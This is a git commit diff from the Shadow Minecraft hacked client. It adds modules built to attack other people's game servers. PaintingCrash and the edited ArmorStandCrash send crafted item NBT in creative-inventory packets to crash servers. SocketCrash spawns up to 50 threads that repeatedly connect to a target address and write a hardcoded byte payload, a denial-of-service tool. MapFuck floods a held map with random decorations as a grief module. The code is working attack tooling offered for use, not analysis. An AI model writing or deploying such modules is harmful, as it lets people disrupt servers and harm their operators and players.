i shid and pis

This commit is contained in:
Saturn5Vfive 2022-05-05 00:17:34 -05:00
parent b974036946
commit f1e5fb3a4d
6 changed files with 270 additions and 14 deletions

View file

@ -32,6 +32,7 @@ import net.shadow.client.feature.module.impl.crash.LecternCrash;
import net.shadow.client.feature.module.impl.crash.LoominaCrash; import net.shadow.client.feature.module.impl.crash.LoominaCrash;
import net.shadow.client.feature.module.impl.crash.MinehutCrash; import net.shadow.client.feature.module.impl.crash.MinehutCrash;
import net.shadow.client.feature.module.impl.crash.OOBCrash; import net.shadow.client.feature.module.impl.crash.OOBCrash;
import net.shadow.client.feature.module.impl.crash.PaintingCrash;
import net.shadow.client.feature.module.impl.crash.SSRFCrash; import net.shadow.client.feature.module.impl.crash.SSRFCrash;
import net.shadow.client.feature.module.impl.exploit.AntiAntiXray; import net.shadow.client.feature.module.impl.exploit.AntiAntiXray;
import net.shadow.client.feature.module.impl.exploit.AntiRDI; import net.shadow.client.feature.module.impl.exploit.AntiRDI;
@ -52,6 +53,7 @@ import net.shadow.client.feature.module.impl.grief.AutoIgnite;
import net.shadow.client.feature.module.impl.grief.AutoRun; import net.shadow.client.feature.module.impl.grief.AutoRun;
import net.shadow.client.feature.module.impl.grief.AutoTNT; import net.shadow.client.feature.module.impl.grief.AutoTNT;
import net.shadow.client.feature.module.impl.grief.Decimator; import net.shadow.client.feature.module.impl.grief.Decimator;
import net.shadow.client.feature.module.impl.grief.MapFuck;
import net.shadow.client.feature.module.impl.misc.AdBlock; import net.shadow.client.feature.module.impl.misc.AdBlock;
import net.shadow.client.feature.module.impl.misc.AdSpammer; import net.shadow.client.feature.module.impl.misc.AdSpammer;
import net.shadow.client.feature.module.impl.misc.AllowFormatCodes; import net.shadow.client.feature.module.impl.misc.AllowFormatCodes;
@ -355,6 +357,8 @@ public class ModuleRegistry {
registerModule(Godmode.class); registerModule(Godmode.class);
registerModule(ErrorCrash.class); registerModule(ErrorCrash.class);
registerModule(Radar.class); registerModule(Radar.class);
registerModule(PaintingCrash.class);
registerModule(MapFuck.class);
rebuildSharedModuleList(); rebuildSharedModuleList();

View file

@ -19,7 +19,6 @@ import net.shadow.client.helper.event.Events;
import net.shadow.client.helper.event.events.PacketEvent; import net.shadow.client.helper.event.events.PacketEvent;
public class ArmorStandCrash extends Module { public class ArmorStandCrash extends Module {
final DoubleSetting slider = this.config.create(new DoubleSetting.Builder(1).min(1).max(20).name("Power").description("Power of the crash").get());
private int xChunk; private int xChunk;
private int zChunk; private int zChunk;
@ -29,7 +28,6 @@ public class ArmorStandCrash extends Module {
PacketEvent event = (PacketEvent) pevent; PacketEvent event = (PacketEvent) pevent;
if (!this.isEnabled()) return; if (!this.isEnabled()) return;
if (event.getPacket() instanceof PlayerInteractBlockC2SPacket packet) { if (event.getPacket() instanceof PlayerInteractBlockC2SPacket packet) {
for (int i = 0; i < slider.getValue(); i++) {
ItemStack load = new ItemStack(Items.ARMOR_STAND, 1); ItemStack load = new ItemStack(Items.ARMOR_STAND, 1);
NbtCompound comp = new NbtCompound(); NbtCompound comp = new NbtCompound();
NbtCompound betag = new NbtCompound(); NbtCompound betag = new NbtCompound();
@ -42,7 +40,6 @@ public class ArmorStandCrash extends Module {
xChunk += 10; xChunk += 10;
zChunk++; zChunk++;
} }
}
}); });
} }

View file

@ -0,0 +1,73 @@
/*
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
*/
package net.shadow.client.feature.module.impl.crash;
import net.minecraft.client.util.math.MatrixStack;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleType;
import net.shadow.client.helper.event.EventType;
import net.shadow.client.helper.event.Events;
import net.shadow.client.helper.event.events.PacketEvent;
import net.minecraft.client.util.math.MatrixStack;
import net.minecraft.item.ItemStack;
import net.minecraft.item.Items;
import net.minecraft.nbt.NbtCompound;
import net.minecraft.nbt.NbtInt;
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
import net.minecraft.network.packet.c2s.play.PlayerInteractBlockC2SPacket;
public class PaintingCrash extends Module {
private int xChunk;
private int zChunk;
public PaintingCrash() {
super("PaintingCrash", "Painting crash real", ModuleType.CRASH);
Events.registerEventHandler(EventType.PACKET_SEND, pevent -> {
PacketEvent event = (PacketEvent) pevent;
if (!this.isEnabled()) return;
if (event.getPacket() instanceof PlayerInteractBlockC2SPacket packet) {
ItemStack load = new ItemStack(Items.PAINTING, 1);
NbtCompound comp = new NbtCompound();
NbtCompound betag = new NbtCompound();
betag.put("TileX", NbtInt.of(xChunk << 4));
betag.put("TileZ", NbtInt.of(zChunk * 10 << 4));
comp.put("EntityTag", betag);
load.setNbt(comp);
client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(client.player.getInventory().selectedSlot + 36, load));
xChunk += 10;
zChunk++;
}
});
}
@Override
public void tick() {
}
@Override
public void enable() {
}
@Override
public void disable() {
}
@Override
public String getContext() {
return null;
}
@Override
public void onWorldRender(MatrixStack matrices) {
}
@Override
public void onHudRender() {
}
}

View file

@ -0,0 +1,81 @@
/*
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
*/
package net.shadow.client.feature.module.impl.crash;
import java.io.DataOutputStream;
import java.net.Socket;
import net.minecraft.client.util.math.MatrixStack;
import net.shadow.client.feature.module.ModuleType;
import net.shadow.client.helper.util.Utils.Logging;
import net.shadow.client.feature.config.DoubleSetting;
import net.shadow.client.feature.config.StringSetting;
import net.shadow.client.feature.module.Module;
public class SocketCrash extends Module {
final StringSetting addr = this.config.create(new StringSetting.Builder("localhost:25565").description("where to target the attack").get());
final DoubleSetting threads = this.config.create(new DoubleSetting.Builder(5).min(1).max(50).name("Threads").description("The amount of threads to spawn").get());
static final int[] PAYLOAD = new int[]{
0x3, 0x1, 0x0, 0xffffffbb, 0x1, 0x0, 0x0, 0xffffffb7,
0x3, 0x3, 0xffffffcb, 0xffffff82, 0xffffffae, 0x53, 0x15, 0xfffffff6,
0x79, 0x2, 0xffffffc2, 0xb, 0xffffffe1, 0xffffffc2, 0x6a, 0xfffffff8,
0x75, 0xffffffe9, 0x32, 0x23, 0x3c, 0x39, 0x3, 0x3f,
0xffffffa4, 0xffffffc7, 0xffffffb5, 0xffffff88, 0x50, 0x1f, 0x2e, 0x65,
0x21, 0x0, 0x0, 0x48, 0x0, 0x2f
};
public SocketCrash() {
super("SocketCrash", "crash the sver with socket", ModuleType.CRASH);
}
@Override
public void tick() {
}
@Override
public void enable() {
for(int i = 0; i < threads.getValue(); i++){
new Thread(() -> {
try{
while(this.isEnabled()) {
try {
String[] addru = addr.getValue().split(":");
Socket s = new Socket(addru[0], Integer.parseInt(addru[1]));
DataOutputStream outp = new DataOutputStream(s.getOutputStream());
for (int i1 : PAYLOAD) {
outp.write(i1);
}
} catch (Exception ignored) {
}
}
}catch(Exception e){
}
Logging.message("Thread exited");
}).start();
}
}
@Override
public void disable() {
}
@Override
public String getContext() {
return null;
}
@Override
public void onWorldRender(MatrixStack matrices) {
}
@Override
public void onHudRender() {
}
}

View file

@ -0,0 +1,90 @@
/*
* Copyright (c) Shadow client, 0x150, Saturn5VFive 2022. All rights reserved.
*/
package net.shadow.client.feature.module.impl.grief;
import net.minecraft.item.ItemStack;
import net.minecraft.nbt.NbtCompound;
import net.minecraft.nbt.NbtList;
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
import java.util.Random;
import net.minecraft.client.util.math.MatrixStack;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleType;
import net.shadow.client.helper.util.Utils;
public class MapFuck extends Module {
public MapFuck() {
super("MapFuck", "Nuke maps", ModuleType.GRIEF);
}
@Override
public void tick() {
}
@Override
public void enable() {
Random r = new Random();
ItemStack item = client.player.getMainHandStack();
NbtList decals = new NbtList();
for (int x = -16; x < 16; x++) {
for (int z = -16; z < 16; z++) {
NbtCompound decal = new NbtCompound();
decal.putInt("x", (int) (client.player.getX() + x * 8));
decal.putInt("z", (int) (client.player.getZ() + z * 8));
decal.putByte("type", (byte) r.nextInt(26));
decal.putDouble("rot", 180.0D);
decal.putString("id", Utils.rndStr(50));
decals.add(decal);
}
}
for (int x = -16; x < 16; x++) {
for (int z = -16; z < 16; z++) {
NbtCompound decal = new NbtCompound();
decal.putInt("x", (int) (client.player.getX() + x * 8) - 3);
decal.putInt("z", (int) (client.player.getZ() + z * 8) - 3);
decal.putByte("type", (byte) r.nextInt(26));
decal.putDouble("rot", 180.0D);
decal.putString("id", Utils.rndStr(50));
decals.add(decal);
}
}
for (int x = -16; x < 16; x++) {
for (int z = -16; z < 16; z++) {
NbtCompound decal = new NbtCompound();
decal.putInt("x", (int) (client.player.getX() + x * 8) + 2);
decal.putInt("z", (int) (client.player.getZ() + z * 8) + 2);
decal.putByte("type", (byte) r.nextInt(26));
decal.putDouble("rot", 180.0D);
decal.putString("id", Utils.rndStr(50));
decals.add(decal);
}
}
item.getNbt().put("Decorations", decals);
this.setEnabled(false);
client.player.networkHandler.sendPacket(new CreativeInventoryActionC2SPacket(36 + client.player.getInventory().selectedSlot, item));
}
@Override
public void disable() {
}
@Override
public String getContext() {
return null;
}
@Override
public void onWorldRender(MatrixStack matrices) {
}
@Override
public void onHudRender() {
}
}

View file

@ -55,6 +55,7 @@ import java.util.List;
import java.util.Map; import java.util.Map;
import java.util.Objects; import java.util.Objects;
import java.util.Queue; import java.util.Queue;
import java.util.Random;
import java.util.UUID; import java.util.UUID;
import java.util.concurrent.ConcurrentHashMap; import java.util.concurrent.ConcurrentHashMap;
@ -62,6 +63,16 @@ public class Utils {
public static boolean sendPackets = true; public static boolean sendPackets = true;
public static String rndStr(int size) {
StringBuilder buf = new StringBuilder();
String[] chars = new String[]{"a", "b", "c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "n", "o", "p", "q", "r", "s", "t", "u", "v", "w", "x", "y", "z"};
Random r = new Random();
for (int i = 0; i < size; i++) {
buf.append(chars[r.nextInt(chars.length)]);
}
return buf.toString();
}
public static void sleep(long ms) { public static void sleep(long ms) {
try { try {
Thread.sleep(ms); Thread.sleep(ms);